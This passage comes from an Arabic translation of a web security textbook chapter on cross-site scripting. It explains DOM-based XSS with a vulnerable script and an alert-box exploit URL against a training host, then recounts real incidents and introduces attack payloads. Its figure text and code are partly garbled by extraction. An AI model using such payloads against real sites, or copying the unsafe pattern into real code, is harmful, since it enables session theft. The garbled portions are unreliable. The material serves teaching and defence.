‫‪441‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫؛(‪url = unescape)url‬‬
‫‪var message = url.substring)url.indexOf)'message='( + 8، url‬‬
‫‪.‬ﻃﻮﻝ(؛‬
‫<‪ >/script‬؛(ﺍﻟﺮﺳﺎﻟﺔ)‪document.write‬‬

‫ﻳﻘﻮﻡﻫﺬﺍ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺑﺘﺤﻠﻴﻞ ﻋﻨﻮﺍﻥ ‪ URL‬ﻻﺳﺘﺨﺮﺍﺝ ﺍﻟﻘﻴﻤﺔﺭﺳﺎﻟﺔﺍﻟﻤﻌﻠﻤﺔ‪ ،‬ﻭﺗﻜﺘﺐ ﻫﺬﻩ‬


‫ﺍﻟﻘﻴﻤﺔﺑﺒﺴﺎﻃﺔ ﻓﻲ ﺷﻔﺮﺓ ﻣﺼﺪﺭ ‪ HTML‬ﻟﻠﺼﻔﺤﺔ‪ .‬ﻋﻨﺪ ﺍﺳﺘﺪﻋﺎﺉﻬﺎ ﻛﻤﺎ ﺃﺭﺍﺩ ﺍﻟﻤﻄﻮﺭﻭﻥ‪ ،‬ﻳﻤﻜﻦ‬
‫ﺍﺳﺘﺨﺪﺍﻣﻬﺎﺑﻨﻔﺲ ﺍﻟﻄﺮﻳﻘﺔ ﻛﻤﺎ ﻓﻲ ﺍﻟﻤﺜﺎﻝ ﺍﻷﺻﻠﻲ ﻹﻧﺸﺎء ﺭﺳﺎﺉﻞ ﺧﻄﺄ ﺑﺴﻬﻮﻟﺔ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﺇﺫﺍ‬
‫ﻗﺎﻡﻣﻬﺎﺟﻢ ﺑﺈﻧﺸﺎء ﻋﻨﻮﺍﻥ ‪ URL‬ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺷﻔﺮﺓ ‪ JavaScript‬ﻛﻘﻴﻤﺔﺭﺳﺎﻟﺔﺑﺎﺳﺘﺨﺪﺍﻡ ﺍﻟﻤﻌﻠﻤﺔ‪،‬‬
‫ﺳﻴﺘﻢﻛﺘﺎﺑﺔ ﻫﺬﺍ ﺍﻟﻜﻮﺩ ﺩﻳﻨﺎﻣﻴﻜﻴﺎً ﻓﻲ ﺍﻟﺼﻔﺤﺔ ﻭﺗﻨﻔﻴﺬﻩ ﻛﻤﺎ ﻟﻮ ﺃﻥ ﺍﻟﺨﺎﺩﻡ ﺃﻋﺎﺩﻩ‪ .‬ﻓﻲ ﻫﺬﺍ ﺍﻟﻤﺜﺎﻝ‪،‬‬
‫ﻳﻤﻜﻦﺃﻳﻀﺎً ﺍﺳﺘﺨﺪﺍﻡ ﻧﻔﺲ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﺬﻱ ﺍﺳﺘﻐﻞ ﺛﻐﺮﺓ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ ﺍﻷﺻﻠﻴﺔ ﻹﻧﺸﺎء ﻣﺮﺑﻊ‬
‫ﺣﻮﺍﺭ‪:‬‬

‫<‪http://mdsec.net/error/18/Error.ashx?message=>script<alert)'xss'(>/script‬‬

‫ﺟﺮﺑﻬﺎ!‬
‫ﺪﻡ‬

‫‪rip .4 3‬‬
‫ﺘﺨ‬

‫‪.‬ﻳﻄ ﺴ ‪Sc‬‬
‫‪http://mdsec.net/error/18/‬‬
‫ﺴ‬

‫ﻠﺐ ﺍ ﺘﺠﻴ ‪va‬‬


‫‪.1‬ﺗ‬
‫ﻟﻤ‬

‫ﺴ‬
‫ﺔﺍ‬

‫ﻋﻠ‬
‫ﺠﻴ‬

‫ﻳ‬
‫ﻟ‬
‫ﺴ‬

‫ﻤﺴ ﺐ ﺍ ﻣﺒ‬

‫ﻰ‪t‬‬
‫ﻞ‬
‫ﺩ‬
‫ﺟﻠ‬

‫ﺧﻮ‬

‫ﺘﺨﺪ ﻟﺨﺎ ﺮﻣ‬


‫ﻝﺍ‬
‫ﻑ‬

‫ﻟﻤ‬

‫ﻡ‬
‫ﻄﺎ‬

‫ﺴ‬
‫ﺘﺨ‬

‫ﻋ‬
‫ﺧﺘ‬

‫ﻨﻮ‬
‫ﺪﻡ‬
‫ﺑﺎ‬

‫ﺍ‬
‫ﻥ ‪ L‬ﺼﻔ‬

‫‪Ja‬‬
‫ﺟﻢ‬

‫ﻳﻮﺿﺢﺍﻟﺸﻜﻞ ‪ 5-12‬ﻋﻤﻠﻴﺔ ﺍﺳﺘﻐﻼﻝ ﺛﻐﺮﺓ ‪ XSS‬ﺍﻟﻤﺴﺘﻨﺪﺓ ﺇﻟﻰ ‪.DOM‬‬

‫ﺩﻡ ﺠﺔ‬
‫‪ UR‬ﺤﺔ‬
‫ﻬﺎ‬
‫ﻤ‬

‫ﺑ‬
‫ﻟﻠﻤﻬﺎ ﺗﺤ‬
‫ﺍﻟ‬
‫ﻮﻡ‬
‫ﻘ‬

‫ﺟ‬
‫‪.7‬ﻳ‬

‫ﻢ‬
‫ﺘﻮ‬
‫ﻱ‬

‫ﻃﻠﺐ‬

‫‪.5‬ﺍﻟﻤﻬﺎﺟﻢ‬
‫‪.2‬ﻳﻘﻮﻡ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺈﺭﺳﺎﻝ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﻤﺼﻤﻢ ﻟﻠﻤﺴﺘﺨﺪﻡ‬ ‫ﺗﻤﺖﻣﻌﺎﻟﺠﺔ ﻋﻨﻮﺍﻥ ‪URL‬‬
‫ﺑﻮﺍﺳﻄﺔﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ‪،‬‬
‫‪.6‬ﻳﺮﺳﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺭﻣﺰ ﺍﻟﺠﻠﺴﺔ ﺇﻟﻰ ﺍﻟﻤﻬﺎﺟﻢ‬
‫ﺇﺛﺎﺭﺓﻟﻪ‬
‫ﻣﻬﺎﺟﻢ‬ ‫ﻣﺴﺘﺨﺪﻡ‬
‫ﺣﻤﻮﻟﺔﺍﻟﻬﺠﻮﻡ‬

‫ﺍﻟﺸﻜﻞ‪:5-12‬ﺍﻟﺨﻄﻮﺍﺕ ﺍﻟﻤﺘﺒﻌﺔ ﻓﻲ ﻫﺠﻮﻡ ‪ XSS‬ﺍﻟﻤﺴﺘﻨﺪ ﺇﻟﻰ ‪DOM‬‬


‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪442‬‬

‫ﺗﺸُﺒﻪﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ‪ DOM‬ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ ﺃﻛﺜﺮ ﻣﻦ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ‪.‬‬


‫ﻋﺎﺩﺓ ًﻣﺎ ﻳﺘﻀﻤﻦ ﺍﺳﺘﻐﻼﻟﻬﺎ ﺗﺤﺮﻳﺾ ﺍﻟﻤﻬﺎﺟﻢ ﻟﻠﻤﺴﺘﺨﺪﻡ ﻋﻠﻰ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻋﻨﻮﺍﻥ ‪ URL‬ﻣﻌُﺪ ّ‬
‫ﻣﺴﺒﻘﺎًﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺷﻴﻔﺮﺓ ﺿﺎﺭﺓ‪ .‬ﺗﺆُﺩﻱ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺨﺎﺩﻡ ﻟﻬﺬﺍ ﺍﻟﻄﻠﺐ ﺍﻟﻤﺤُﺪﺩ ﺇﻟﻰ ﺗﻨﻔﻴﺬ ﺍﻟﺸﻴﻔﺮﺓ‬
‫ﺍﻟﻀﺎﺭﺓ‪.‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻓﻴﻤﺎ ﻳﺘﻌﻠﻖ ﺑﺘﻔﺎﺻﻴﻞ ﺍﻻﺳﺘﻐﻼﻝ‪ ،‬ﺗﻮﺟﺪ ﺍﺧﺘﻼﻓﺎﺕ ﻣﻬﻤﺔ ﺑﻴﻦ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ ﻭ‬
‫‪ XSS‬ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ‪ ،DOM‬ﻭﺍﻟﺘﻲ ﺳﻨﺘﻨﺎﻭﻟﻬﺎ ﻻﺣﻘﺎً‪.‬‬

‫ﻫﺠﻤﺎﺕ‪ XSS‬ﻓﻲ ﺍﻟﻌﻤﻞ‬

‫ﻟﻔﻬﻢﺍﻟﺘﺄﺛﻴﺮ ﺍﻟﺨﻄﻴﺮ ﻟﺜﻐﺮﺍﺕ ‪ ،XSS‬ﻣﻦ ﺍﻟﻤﻔﻴﺪ ﺩﺭﺍﺳﺔ ﺑﻌﺾ ﺍﻷﻣﺜﻠﺔ ﺍﻟﻮﺍﻗﻌﻴﺔ ﻟﻬﺠﻤﺎﺕ ‪ .XSS‬ﻛﻤﺎ‬
‫ﻳﺴُﺎﻋﺪﺫﻟﻚ ﻋﻠﻰ ﺍﻟﻨﻈﺮ ﻓﻲ ﺍﻟﻨﻄﺎﻕ ﺍﻟﻮﺍﺳﻊ ﻟﻸﻓﻌﺎﻝ ﺍﻟﺨﺒﻴﺜﺔ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﺃﻥ ﺗﻨُﻔﺬﻫﺎ ﺛﻐﺮﺍﺕ ‪XSS‬‬
‫ﻭﻛﻴﻔﻴﺔﻭﺻﻮﻟﻬﺎ ﺇﻟﻰ ﺍﻟﻀﺤﺎﻳﺎ‪.‬‬

‫ﻫﺠﻤﺎﺕ‪ XSS‬ﻓﻲ ﺍﻟﻌﺎﻟﻢ ﺍﻟﺤﻘﻴﻘﻲ‬


‫ﻓﻲﻋﺎﻡ ‪ ،2010‬ﺗﻌﺮﺿﺖ ﻣﺆﺳﺴﺔ ‪ Apache‬ﻟﻼﺧﺘﺮﺍﻕ ﻋﺒﺮ ﻫﺠﻮﻡ ‪ XSS‬ﻣﻨﻌﻜﺲ ﺩﺍﺧﻞ ﺗﻄﺒﻴﻖ ﺗﺘﺒﻊ‬
‫ﺍﻟﻤﺸﻜﻼﺕﺍﻟﺨﺎﺹ ﺑﻬﺎ‪ .‬ﻧﺸﺮ ﻣﻬﺎﺟﻢ ﺭﺍﺑﻄﺎً‪ ،‬ﺗﻢ ﺣﺠﺒﻪ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺧﺪﻣﺔ ﺇﻋﺎﺩﺓ ﺍﻟﺘﻮﺟﻴﻪ‪ ،‬ﺇﻟﻰ ﻋﻨﻮﺍﻥ‬
‫‪ URL‬ﻳﺴﺘﻐﻞ ﺛﻐﺮﺓ ‪ XSS‬ﻻﻟﺘﻘﺎﻁ ﺭﻣﺰ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻤﺴﺠﻞ ﺍﻟﺪﺧﻮﻝ‪ .‬ﻋﻨﺪﻣﺎ ﻧﻘﺮ ﻣﺴﺆﻭﻝ ﻋﻠﻰ‬
‫ﺍﻟﺮﺍﺑﻂ‪،‬ﺗﻢ ﺍﺧﺘﺮﺍﻕ ﺟﻠﺴﺘﻪ‪ ،‬ﻭﺣﺼﻞ ﺍﻟﻤﻬﺎﺟﻢ ﻋﻠﻰ ﺣﻖ ﺍﻟﻮﺻﻮﻝ ﺍﻹﺩﺍﺭﻱ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﺛﻢ ﻋﺪﻝّ‬
‫ﺍﻟﻤﻬﺎﺟﻢﺇﻋﺪﺍﺩﺍﺕ ﺃﺣﺪ ﺍﻟﻤﺸﺎﺭﻳﻊ ﻟﺘﻐﻴﻴﺮ ﻣﺠﻠﺪ ﺍﻟﺘﺤﻤﻴﻞ ﺍﻟﺨﺎﺹ ﺑﺎﻟﻤﺸﺮﻭﻉ ﺇﻟﻰ ﺩﻟﻴﻞ ﻗﺎﺑﻞ ﻟﻠﺘﻨﻔﻴﺬ‬
‫ﺩﺍﺧﻞﺟﺬﺭ ﺍﻟﻮﻳﺐ ﺍﻟﺨﺎﺹ ﺑﺎﻟﺘﻄﺒﻴﻖ‪ .‬ﻟﻘﺪ ﻗﺎﻡ ﺑﺘﺤﻤﻴﻞ ﻧﻤﻮﺫﺝ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﻃﺮﻭﺍﺩﺓ ﺇﻟﻰ ﻫﺬﺍ‬
‫ﺍﻟﻤﺠﻠﺪﻭﺗﻤﻜﻦ ﻣﻦ ﺍﻟﺘﻘﺎﻁ ﺃﺳﻤﺎء ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻭﻛﻠﻤﺎﺕ ﺍﻟﻤﺮﻭﺭ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﻤﺘﻤﻴﺰﻳﻦ‪ .‬ﺣﺪﺩ‬
‫ﺍﻟﻤﻬﺎﺟﻢﺑﻌﺾ ﻛﻠﻤﺎﺕ ﺍﻟﻤﺮﻭﺭ ﺍﻟﺘﻲ ﻛﺎﻥ ﻳﺘﻢ ﺇﻋﺎﺩﺓ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻋﻠﻰ ﺃﻧﻈﻤﺔ ﺃﺧﺮﻯ ﺩﺍﺧﻞ ﺍﻟﺒﻨﻴﺔ‬
‫ﺍﻟﺘﺤﺘﻴﺔ‪.‬ﻭﺗﻤﻜﻦ ﻣﻦ ﺍﺧﺘﺮﺍﻕ ﺗﻠﻚ ﺍﻷﻧﻈﻤﺔ ﺍﻷﺧﺮﻯ ﺑﺎﻟﻜﺎﻣﻞ‪ ،‬ﻣﻤﺎ ﺃﺩﻯ ﺇﻟﻰ ﺗﺼﻌﻴﺪ ﺍﻟﻬﺠﻮﻡ ﺇﻟﻰ ﻣﺎ ﻫﻮ‬
‫ﺃﺑﻌﺪﻣﻦ ﺗﻄﺒﻴﻖ ﺍﻟﻮﻳﺐ ﺍﻟﻤﻌﺮﺽ ﻟﻠﺨﻄﺮ‪.‬‬

‫ﻟﻤﺰﻳﺪﻣﻦ ﺍﻟﺘﻔﺎﺻﻴﻞ ﺣﻮﻝ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ‪ ،‬ﺭﺍﺟﻊ ﻋﻨﻮﺍﻥ ‪ URL‬ﻫﺬﺍ‪:‬‬

‫‪http://blogs.apache.org/infra/entry/apache_org_04_09_2010‬‬

‫ﻓﻲﻋﺎﻡ ‪ ،٢٠٠٥‬ﻭﺟُﺪ ﺃﻥ ﻣﻮﻗﻊ ﺍﻟﺘﻮﺍﺻﻞ ﺍﻻﺟﺘﻤﺎﻋﻲ ﻣﺎﻱ ﺳﺒﻴﺲ ﻣﻌُﺮﺽّ ﻟﻬﺠﻮﻡ ‪ XSS‬ﻣﺨُﺰﻥّ‪.‬‬
‫ﻳﻄُﺒﻖّﺗﻄﺒﻴﻖ ﻣﺎﻱ ﺳﺒﻴﺲ ﻣﺮُﺷﺤّﺎﺕ ﻟﻤﻨﻊ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻣﻦ ﻭﺿﻊ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﻓﻲ ﺻﻔﺤﺔ‬
‫ﻣﻠﻔﻬﻢﺍﻟﺸﺨﺼﻲ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻭﺟﺪ ﻣﺴﺘﺨﺪﻡ ﻳﺪُﻋﻰ ﺳﺎﻣﻲ ﻭﺳﻴﻠﺔ ًﻟﻠﺘﺤﺎﻳﻞ ﻋﻠﻰ ﻫﺬﻩ ﺍﻟﻤﺮُﺷﺤّﺎﺕ‬
‫ﻭﻭﺿﻊﺑﻌﺾ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﻓﻲ ﺻﻔﺤﺔ ﻣﻠﻔﻪ ﺍﻟﺸﺨﺼﻲ‪ .‬ﻳﻨُﻔﺬّ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻛﻠﻤﺎ ﺷﺎﻫﺪ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻡﻫﺬﺍ ﺍﻟﻤﻠﻒ ﺍﻟﺸﺨﺼﻲ‪ ،‬ﻣﻤﺎ ﻳﺪﻓﻊ ﻣﺘﺼﻔﺢ ﺍﻟﻀﺤﻴﺔ ﺇﻟﻰ ﺗﻨﻔﻴﺬ ﺇﺟﺮﺍءﺍﺕ ﻣﺨُﺘﻠﻔﺔ ﺑﺘﺄﺛﻴﺮﻳﻦ‬
‫ﺭﺉﻴﺴﻴﻴﻦ‪.‬ﺃﻭﻻً‪ ،‬ﻳﻀُﻴﻒ ﺍﻟﻤﺘﺼﻔﺢ ﺳﺎﻣﻲ ﻛـ"ﺻﺪﻳﻖ" ﻟﻠﻀﺤﻴﺔ‪ .‬ﺛﺎﻧﻴﺎً‪ ،‬ﻳﻨُﺴﺦ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺇﻟﻰ‬
‫ﺻﻔﺤﺔﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﺨﺎﺻﺔ ﺑﺎﻟﻀﺤﻴﺔ‪ .‬ﻻﺣﻘﺎً‪ ،‬ﻳﻘﻊ ﺃﻱ ﺷﺨﺺ ﺷﺎﻫﺪ ﻣﻠﻒ ﺗﻌﺮﻳﻒ‬
‫ﺍﻟﻀﺤﻴﺔﺿﺤﻴﺔ ًﻟﻠﻬﺠﻮﻡ‪ .‬ﻭﺍﻟﻨﺘﻴﺠﺔ ﻫﻲ ﺩﻭﺩﺓ ﻗﺎﺉﻤﺔ ﻋﻠﻰ ‪ XSS‬ﺍﻧﺘﺸﺮﺕ ﺑﺸﻜﻞ ﻛﺒﻴﺮ‪ .‬ﻓﻲ ﻏﻀﻮﻥ‬
‫ﺳﺎﻋﺎﺕ‪،‬ﺗﻢ ﺍﻟﻘﺒﺾ ﻋﻠﻰ ﺍﻟﺠﺎﻧﻲ ﺍﻷﺻﻠﻲ‪.‬‬
‫‪443‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺗﻠﻘﻰﻣﻮﻗﻊ ﻣﺎﻱ ﺳﺒﻴﺲ ﻣﺎ ﻳﻘﺮﺏ ﻣﻦ ﻣﻠﻴﻮﻥ ﻃﻠﺐ ﺻﺪﺍﻗﺔ‪ .‬ﻧﺘﻴﺠﺔ ًﻟﺬﻟﻚ‪ ،‬ﺍﺿﻄﺮ ﺍﻟﻤﻮﻗﻊ ﺇﻟﻰ‬
‫ﺇﻳﻘﺎﻑﺍﻟﺘﻄﺒﻴﻖ ﻋﻦ ﺍﻟﻌﻤﻞ‪ ،‬ﻭﺇﺯﺍﻟﺔ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺨﺒﻴﺚ ﻣﻦ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺟﻤﻴﻊ ﻣﺴﺘﺨﺪﻣﻴﻪ‪،‬‬
‫ﻭﺇﺻﻼﺡﺍﻟﺨﻠﻞ ﻓﻲ ﻣﺮﺷﺤﺎﺕ ‪.XSS‬‬
‫ﻟﻤﺰﻳﺪﻣﻦ ﺍﻟﺘﻔﺎﺻﻴﻞ ﺣﻮﻝ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ‪ ،‬ﺭﺍﺟﻊ ﻋﻨﻮﺍﻥ ‪ URL‬ﻫﺬﺍ‪:‬‬

‫‪http://namb.la/popular/tech.html‬‬

‫ﺗﻄﺒﻴﻘﺎﺕﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﻣﻌﺮﺿﺔ ﺑﻄﺒﻴﻌﺘﻬﺎ ﻟﺨﻄﺮ ﻫﺠﻤﺎﺕ ‪ XSS‬ﺍﻟﻤﺨُﺰﻧّﺔ ﻧﻈﺮﺍً ﻟﻄﺮﻳﻘﺔ ﻋﺮﺿﻬﺎ‬
‫ﻟﺮﺳﺎﺉﻞﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﻓﻲ ﺍﻟﻤﺘﺼﻔﺢ ﻋﻨﺪ ﻋﺮﺿﻬﺎ ﻣﻦ ﻗﺒِﻞ ﺍﻟﻤﺴُﺘﻠﻢِ‪ .‬ﻗﺪ ﺗﺤﺘﻮﻱ ﺭﺳﺎﺉﻞ ﺍﻟﺒﺮﻳﺪ‬
‫ﺍﻹﻟﻜﺘﺮﻭﻧﻲﻋﻠﻰ ﻣﺤﺘﻮﻯ ﺑﺘﻨﺴﻴﻖ ‪ ،HTML‬ﻟﺬﺍ ﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﻨﺴﺦ ‪ HTML‬ﻣﻦ ﺟﻬﺎﺕ ﺧﺎﺭﺟﻴﺔ ﺇﻟﻰ‬
‫ﺍﻟﺼﻔﺤﺎﺕﺍﻟﺘﻲ ﻳﻌﺮﺿﻬﺎ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ‪ .‬ﻓﻲ ﻋﺎﻡ ‪ ،٢٠٠٩‬ﻋﺮﺽ ﻣﺰُﻭﺩّ ﺧﺪﻣﺔ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﻳﺪُﻋﻰ‬
‫‪ StrongWebmail‬ﻣﻜﺎﻓﺄﺓ ﻗﺪﺭﻫﺎ ‪ ١٠٠٠٠‬ﺩﻭﻻﺭ ﺃﻣﺮﻳﻜﻲ ﻷﻱ ﺷﺨﺺ ﻳﺘﻤﻜﻦ ﻣﻦ ﺍﺧﺘﺮﺍﻕ ﺍﻟﺒﺮﻳﺪ‬
‫ﺍﻹﻟﻜﺘﺮﻭﻧﻲﻟﻠﺮﺉﻴﺲ ﺍﻟﺘﻨﻔﻴﺬﻱ‪ .‬ﺍﻛﺘﺸﻒ ﺍﻟﻤﺨُﺘﺮﻗﻮﻥ ﺛﻐﺮﺓ ‪ XSS‬ﻣﺨُﺰﻧّﺔ ﺩﺍﺧﻞ ﺗﻄﺒﻴﻖ ﺍﻟﺒﺮﻳﺪ‬
‫ﺍﻹﻟﻜﺘﺮﻭﻧﻲ‪،‬ﻭﺍﻟﺘﻲ ﺳﻤﺤﺖ ﺑﺘﻨﻔﻴﺬ ﺃﻭﺍﻣﺮ ‪ JavaScript‬ﻋﺸﻮﺍﺉﻴﺎً ﻋﻨﺪ ﻋﺮﺽ ﺍﻟﻤﺴُﺘﻠﻢِ ﻟﺮﺳﺎﻟﺔ ﺑﺮﻳﺪ‬
‫ﺇﻟﻜﺘﺮﻭﻧﻲﺿﺎﺭﺓ‪ .‬ﺃﺭﺳﻠﻮﺍ ﺑﺮﻳﺪﺍً ﺇﻟﻜﺘﺮﻭﻧﻴﺎً ﻣﻨﺎﺳﺒﺎً ﺇﻟﻰ ﺍﻟﺮﺉﻴﺲ ﺍﻟﺘﻨﻔﻴﺬﻱ‪ ،‬ﻭﺍﺧﺘﺮﻗﻮﺍ ﺟﻠﺴﺘﻪ ﻋﻠﻰ‬
‫ﺍﻟﺘﻄﺒﻴﻖ‪،‬ﻭﻃﺎﻟﺒﻮﺍ ﺑﺎﻟﻤﻜﺎﻓﺄﺓ‪.‬‬
‫ﻟﻤﺰﻳﺪﻣﻦ ﺍﻟﺘﻔﺎﺻﻴﻞ ﺣﻮﻝ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ‪ ،‬ﺭﺍﺟﻊ ﻋﻨﻮﺍﻥ ‪ URL‬ﻫﺬﺍ‪:‬‬

‫‪http://blogs.zdnet.com/security/?p=3514‬‬

‫ﻓﻲﻋﺎﻡ ‪ ،٢٠٠٩‬ﻭﻗﻊ ﺗﻮﻳﺘﺮ ﺿﺤﻴﺔ ًﻟﻔﻴﺮﻭﺳﻲَ ‪ XSS‬ﺍﺳﺘﻐﻼّ ﺛﻐﺮﺍﺕ ٍﻣﺨُﺰﻧّﺔ ﻓﻲ ‪ XSS‬ﻟﻼﻧﺘﺸﺎﺭ ﺑﻴﻦ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﻭﻧﺸﺮ ﺗﺤﺪﻳﺜﺎﺕ ٍﺗﺮُﻭﺝّ ﻟﻤﻮﻗﻊ ﻣﻨُﺸﺊ ﺍﻟﻔﻴﺮﻭﺳﺎﺕ‪ .‬ﻛﻤﺎ ﺣﺪُﺩّﺕ ﺛﻐﺮﺍﺕ ٌﻣﺨُﺘﻠﻔﺔ ٌﻓﻲ‬
‫‪ XSS‬ﻣﺴُﺘﻨﺪﺓ ﺇﻟﻰ ‪ DOM‬ﻓﻲ ﺗﻮﻳﺘﺮ‪ ،‬ﻧﺘﻴﺠﺔ ًﻻﺳﺘﺨﺪﺍﻣﻪ ﺍﻟﻤﻜُﺜﻒّ ﻷﻛﻮﺍﺩ ٍﺷﺒﻴﻬﺔ ٍﺑـ ‪ Ajax‬ﻋﻠﻰ ﺟﺎﻧﺐ‬
‫ﺍﻟﻌﻤﻴﻞ‪.‬‬
‫ﻟﻤﺰﻳﺪﻣﻦ ﺍﻟﺘﻔﺎﺻﻴﻞ ﺣﻮﻝ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ‪ ،‬ﺭﺍﺟﻊ ﻋﻨﺎﻭﻳﻦ ‪ URL‬ﺍﻟﺘﺎﻟﻴﺔ‪:‬‬

‫‪http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-andsomething.html‬‬
‫‪www.cgisecurity.com/2009/04/two-xss-worms-slam-twitter.html‬‬

‫ﺍﻟﺤﻤﻮﻻﺕﻟﻬﺠﻤﺎﺕ ‪XSS‬‬
‫ﺣﺘﻰﺍﻵﻥ‪ ،‬ﺭﻛﺰﻧﺎ ﻋﻠﻰ ﺣﻤﻮﻟﺔ ﻫﺠﻮﻡ ‪ XSS‬ﺍﻟﺘﻘﻠﻴﺪﻳﺔ‪ .‬ﺗﺘﻀﻤﻦ ﻫﺬﻩ ﺍﻟﺤﻤﻮﻻﺕ ﺍﻻﺳﺘﻴﻼء ﻋﻠﻰ ﺭﻣﺰ‬
‫ﺟﻠﺴﺔﺍﻟﻀﺤﻴﺔ‪ ،‬ﻭﺍﺧﺘﻄﺎﻑ ﺟﻠﺴﺘﻬﺎ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﺍﺳﺘﻐﻼﻝ ﺍﻟﺘﻄﺒﻴﻖ "ﻛﻀﺤﻴﺔ"‪ ،‬ﻭﺗﻨﻔﻴﺬ ﺇﺟﺮﺍءﺍﺕ‬
‫ﻋﺸﻮﺍﺉﻴﺔ‪،‬ﻭﺭﺑﻤﺎ ﺍﻻﺳﺘﻴﻼء ﻋﻠﻰ ﺣﺴﺎﺏ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ .‬ﻓﻲ ﺍﻟﻮﺍﻗﻊ‪ ،‬ﻳﻤﻜﻦ ﺇﻳﺼﺎﻝ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺣﻤﻮﻻﺕ‬
‫ﺍﻟﻬﺠﻮﻡﺍﻷﺧﺮﻯ ﻋﺒﺮ ﺃﻱ ﻧﻮﻉ ﻣﻦ ﺛﻐﺮﺍﺕ ‪.XSS‬‬

‫ﺍﻟﺘﺸﻮﻳﻪﺍﻻﻓﺘﺮﺍﺿﻲ‬
‫ﻳﺘﻀﻤﻦﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﺣﻘﻦ ﺑﻴﺎﻧﺎﺕ ﺿﺎﺭﺓ ﻓﻲ ﺻﻔﺤﺔ ﺗﻄﺒﻴﻖ ﻭﻳﺐ ﻟﺘﺰﻭﻳﺪ ﻣﺴﺘﺨﺪﻣﻴﻪ ﺑﻤﻌﻠﻮﻣﺎﺕ‬
‫ﻣﻀﻠﻠﺔ‪.‬ﻗﺪ ﻳﻘﺘﺼﺮ ﺍﻷﻣﺮ ﻋﻠﻰ ﺣﻘﻦ ﺭﻣﻮﺯ ‪ HTML‬ﻓﻲ ﺍﻟﻤﻮﻗﻊ‪ ،‬ﺃﻭ ﻗﺪ ﻳﺴﺘﺨﺪﻡ ﻧﺼﻮﺻﺎً ﺑﺮﻣﺠﻴﺔ )‬
